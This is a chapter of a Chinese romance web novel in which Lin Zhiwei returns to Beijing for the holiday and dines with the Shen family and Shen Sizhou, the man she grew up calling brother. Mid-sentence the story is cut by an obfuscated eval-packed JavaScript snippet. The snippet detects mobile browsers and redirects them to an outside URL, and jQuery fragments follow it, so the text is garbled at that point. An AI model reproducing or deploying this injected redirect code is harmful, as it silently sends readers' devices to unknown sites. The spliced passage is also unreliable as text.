林知微拿起照片怔忡了两秒,又放下。
意识到沈司舟进来过。
六年前她还是那个全然仰视和依恋他的小女孩。
如今,六年过去,她的脸上多了几分职场人的淡漠和冷静,但曾经那种对他无条件的仰望和依恋之情似乎并没有完全褪去。
尤其是在昨晚,那种生病脆弱的时刻,像疯狂的野草似的开始肆意生长。
她倒扣上照片,关上门,像要把什么胡乱的思绪一同隔绝开来。
也许是药的效力,她的精神头已经渐渐好了起来,靠在沙发上久违的刷了会短视频。
想起他今天在家里还穿着秘书送来的酒店用的拖鞋,随手在网上下单了男士拖鞋,码数她还记得,是43码。
就这么刷着手机,虚度到了中午。
吴秘书发来信息:【给您安排了清淡的饭菜,等下会送来。】
很快她就听见了门铃声响起。
是京菜馆送来的清淡餐食,一切似乎又回到了六年前的那个春天,她因为急性胃炎住院被他陪读看护的日子。
每天一日三餐由他安排妥当,她不用操心任何事,只需要像一只小猫似的,每天吃了睡睡了吃,做一个无所事事的废物就好。
唯一的区别是,如今一切都由吴秘书安排,而他,恰到好处的离开。
没来由又产生了一种熟悉的失重感。
吃完晚饭,她蜷缩进沙发里。手里还攥着那块怀表。
掀开表盖,清脆滴答声响起,像岁月的脚步声一下一下踏在她心上。
她闭上眼睛,不愿再庸人自扰,索性沉浸在这片安静的白噪音海洋里,很快又沉沉的睡了过去。
第二天林知微就恢复的差不多了,一大早出现在了购物中心的临时会议室里。
郑莹笑眯眯的看着她说,“林经理,昨天去哪出差了?”
她正喝水,不由得的呛了下,“就附近的城市,考察一下竞品。”
脱口而出的谎言显得倒是逻辑还算通畅,见郑莹“哦”了一声没再追问,不由得松了口气。
就听郑莹感叹的说,“对了,昨天你没来项目现场,太阳好像打西边出来了。甲方项目组的人倒是异常好说话,尤其是传感器物流停滞这事还亲自打电话跟进,换做以前让他们多打了字都不愿意。”
她说完又凑过来讪笑,“林经理,看来你应该经常出差,你看之前你在这把活儿都干完了,甲方都没有表现空间了,所以啊,像我妈说的,女人,不能太能干。”
林知微被她看的头皮发麻。
打开电脑看了下群里昨天的工作日报,压在心里的大石头却也终于落地。沈司舟果然安排好了所有的事。
忙碌的时光过得飞快,工作快速推进,眼看就要到国庆了。
午休时间,林知微盯着购票网站出神。
还在纠结要不要回北京。
这几天沈司舟都没再出现在购物中心,宏达那边的汇报会,最近也没见到他,有CEO代为听会。
眼前他淡淡的眼神一闪而过。她既希望见到他,却又害怕在沈家相见。
微信群里,郑莹突然发了条跟甲方打探来最新的消息。
郑莹:【姐妹们,听说沈总最近都在出差。】
这段时间,她在群里时不时通报沈司舟的情况,大有明星粉丝后援团的架势。
林知微松了口气,这个时间点还在出差一时半会估计不会回北京了。
她定了机票,准备避开高峰期,国庆第二天回去。
国庆那天她在家处理完了所有紧急的工作,第二天一大早就坐飞机回了北京。
飞机落地,她取了行李,在大厅里,手机忽然震动了下。她看到屏幕上那个久违又熟悉的头像,心跳一下加快了几秒。
沈司舟:【在停车场等我。】
随后又发了停车位置。
她愣了愣,他不是出差吗?怎么这么快回来了。
还跟她航班时间这么近。
她回了句:【好的。】
上一次对话还停留在六年前,他说:【我送你去机场。】
她回了同样的话:【好的。】
胸口忽然又被刺了一下。
出了航站楼,她推着行李箱来到停车场,找到了那辆熟悉的库里南。
车子里没有人,她站在边上等。过了几分钟,一辆车经过,驾驶室上的年轻男人摇下车窗问她,知不知道P6停车场在哪?
她摇摇头,一双眼睛里漾起细碎的光。
那人看着她,没着急走,突然问,“美女,我觉得你人挺不错的,可以加个微信吗?”
林知微握着行李箱拉杆的手顿了下,就在这时听见库里南开锁的声音。
清冷的声音从身后传来,“林知微,上车。”
她“哦”了一句,对他忽然又连名带姓的叫她,有点不满。
转头对那个要加微信的男人说,“抱歉,家里管的严,不让随便加陌生人微信。”
说完礼貌的笑了下。
行李箱已经被沈司舟放进了后备箱里,她拉开副驾的门,坐了进去,看到内视镜上挂着的那个出入平安挂件边上的小吉他,嘴角忽然微微上扬。
车里萦绕着淡淡的佛手柑香气。是她喜欢的味道。
沈司舟拉开车门,坐进驾驶座里,狭小的空间瞬间被熟悉的男人气息填满。
她看了他一眼,小心翼翼的问,“你怎么也回来了?”
“工作提前结束了。”
“哦。”
他瞥了她一眼,油门踩下去,车子疾驰而去。
一路无话。
早上起的早,她靠在椅子里眯了一会儿。
车里没放歌,很安静。
她重新睁开眼时,车子已经驶入市区。
六年没回来。
一切都变得有些陌生。
她望着窗外的街景出神。
她在北京长大,熟悉这里的四季,而秋天的北京正是最好的季节。
天高云阔,风清气朗。
她喜欢这样的北京。
想起十几岁时在这里度过的悠长岁月,靠进椅背里,神色放松了些。
她打开窗户,凉风灌了进来。吹了一会儿,感觉有点凉意。突然想起天气预报说今天开始降温。
可是她舍不得这舒爽的风,谁知眼前的车窗忽然自动升了上去。
林知微反应过来,转头看向沈司舟,“我不冷。”
刚说完就打了个喷嚏。
沈司舟瞥了她一眼,没接话。
她耳朵根有点红了。
沈家的宅子在二环,是老一辈留下来的四合院。
沈家是京圈老钱,低调不张扬。爷爷辈开始就是高级知识分子,旁系也大多是在京圈有头有脸的人物,家中有自己的基金会,如今由沈司舟的爸爸打理,虽是商人,却一直是书香门第,看重教育和礼数,所以在京圈一直备受尊崇。
沈司舟把车开进胡同时,林知微不由得有些恍惚。
太久没来了,乍一眼有些陌生,可仔细一看还是熟悉的样子。门前的白蜡树虽然还青绿,但有一丛已经被秋天染出了金黄色。
以前上学每年国庆节沈司舟几乎都会带她来这边吃饭。
梅姨会让阿姨做上一桌子她喜欢吃的菜,带她出去买好看的衣服。
现在回想起来像上辈子的事。
那时自己才十几岁,还是不懂事的年纪。
她看了眼正在搬行李箱的沈司舟,突然想起陈露说的话,“你那时候那么叛逆,沈哥也是不容易。”
心中忽然一酸。
胸口被愧疚的情绪胀满,却说不出口。
看着他,突然低低的叫了一句,“哥。”
沈司舟拿着拉着行李箱的手顿了下,隔了六年,这是她第一次主动叫他哥。
“嗯。”他应了一声,“进去吧。”
她乖顺的跟在他后面,见他准备敲门,突然说,“等一下。”
接过他手里的箱子,然后原地打开,拿出两个纸袋子拎在手上,一看就是事先准备好的礼物。
沈司舟眉心微动,等她重新合上箱子,才敲起门。
刘妈来开的门,她在沈家做了快三十年,是家里的老人了。
“沈夫人,司舟和知微回来了。”她高兴接过行李箱,把人往里面迎。
贺梅快步出来迎接他们,她身上穿着中式旗袍和貂皮大衣,气质出众。
林知
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482007|201800||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
微记得她应该也55岁了,但看上去跟六年前没有太大变化,保养的很好,看上去容光焕发。
“知微回来了。”她拉着她的手,看了看,“好孩子,长成大姑娘了。”
她是个知识分子,说话一直轻轻柔柔的,心思也简单善良,虽然不是亲身母亲,但沈司舟对她也很是尊重。
林知微笑着说,“梅姨,好久不见,您还是老样子。”说着把丝巾送给她,“这是给您带的礼物,还有这个是给叔叔的茶叶。”
贺梅眉开眼笑,接过袋子说,“这孩子,回来就回来,还带什么礼物。”
说完又看了看沈司舟,“司舟不是出差吗?怎么跟你妹妹一起回来了?”
沈司舟淡淡道,“正好碰上了。”
“你们兄妹俩也很久没见了,正好在家多待几天。”
林知微看了沈司舟一眼,他没说话,神色淡然。
但他们都知道,贺梅说的家是沈家。
而他们家,在京郊的别墅里。
只是此刻两个人都默契的没有提起那个地方。
这些年沈司舟也一直在美国,别墅的家成了他们讳莫如深的禁忌。
那里有太多记忆,像一本厚重的书,似乎光翻开扉页就足以耗尽全部的力气。
就这么任凭贺梅笑盈盈的带进堂屋里。
屋子里陈设很简单,贺梅跟沈平山结婚后没有生孩子,沈司舟又单住,平日里这里都清清冷冷的。
沈平山从里屋走出来,林知微礼貌的喊,“叔叔。”
她发现他头发整个都白了,穿着中山装,精神却看上去很矍铄。
他平时对沈司舟也没露出过几次笑容,但每次见到林知微都笑得很慈祥,招呼她去餐厅吃饭。
对沈司舟只点了点头。
这大概就是老一辈对儿子和女儿的区别吧。
林知微想。
隔壁间的餐厅里,已经摆了满满一桌子菜。
刘妈给爷俩倒上酒,摆上红枣枸杞汁,屋子里氤氲着热气,飘到林知微的眼睛里,竟让她睫毛忽然有些湿润了。
她突然发现自己已经很久没感受过这种温暖的家庭氛围了。
心里不由得有些酸软无力。
她抬手正要夹菜,就听坐在旁边的沈司舟说,“手端碗。”
她愣了下,想起他的老规矩,“哦”了一句,听话的端起碗。
这顿饭她吃的开心。桌子上菜色丰富,因为贺梅是湖南人,所以菜里照例会有一两道例如辣子鸡、剁椒鱼头这样的湘菜。
她吃饭喜欢图新鲜。明明辣得一个劲喝水,转头又塞了口辣子鸡。
低下头,就发现碗里突然多了几片清炒莲藕还有一只白灼虾。
抬起眼,却见沈司舟正自顾自的夹菜,仿佛这碗里的菜跟他一点关系都没有。
她吃了两口,算是领了他这份情。
然后又继续她的寻味之旅,直到身边响起一声不轻不重的敲桌子声。
林知微筷子顿在空中,抬起头,就见他正看着自己。
他说,“胃不好,少吃重口味。”
他当着全家人的面直接提醒她,按理说她应该恼怒,可她非但没有生气,反而有点高兴。
因为这半天,她突然有一个惊喜的发现。
就是他在管她。
不再是恰到好处的,有清晰的分寸界限。而是有点像回到从前那样,事无巨细,没有边界。
这让她很开心。
她低眉顺目的说,“知道了。”
他抬手给她夹一筷子青菜,就听贺梅忽然笑出声来,“你们兄妹俩还是老样子。”
她看向沈平山,“果然还得知微在,家里才热闹。”
沈平山脸上也带了笑意。
林知微脸色变了变,胸口被兄妹那个词忽然刺了一下。
贺梅又说,“知微啊,你是不知道,你在英国那些年,司舟可是过年都回来的少了,大部分时候都在美国,去年还去了趟英国,是不是去伦敦找你了?”
她握着筷子的手顿住,沈司舟去过英国?
她扭头看向他,就听他淡淡道,“我去的曼彻斯特。”
果然如此。
心中不可遏制的涌起失落。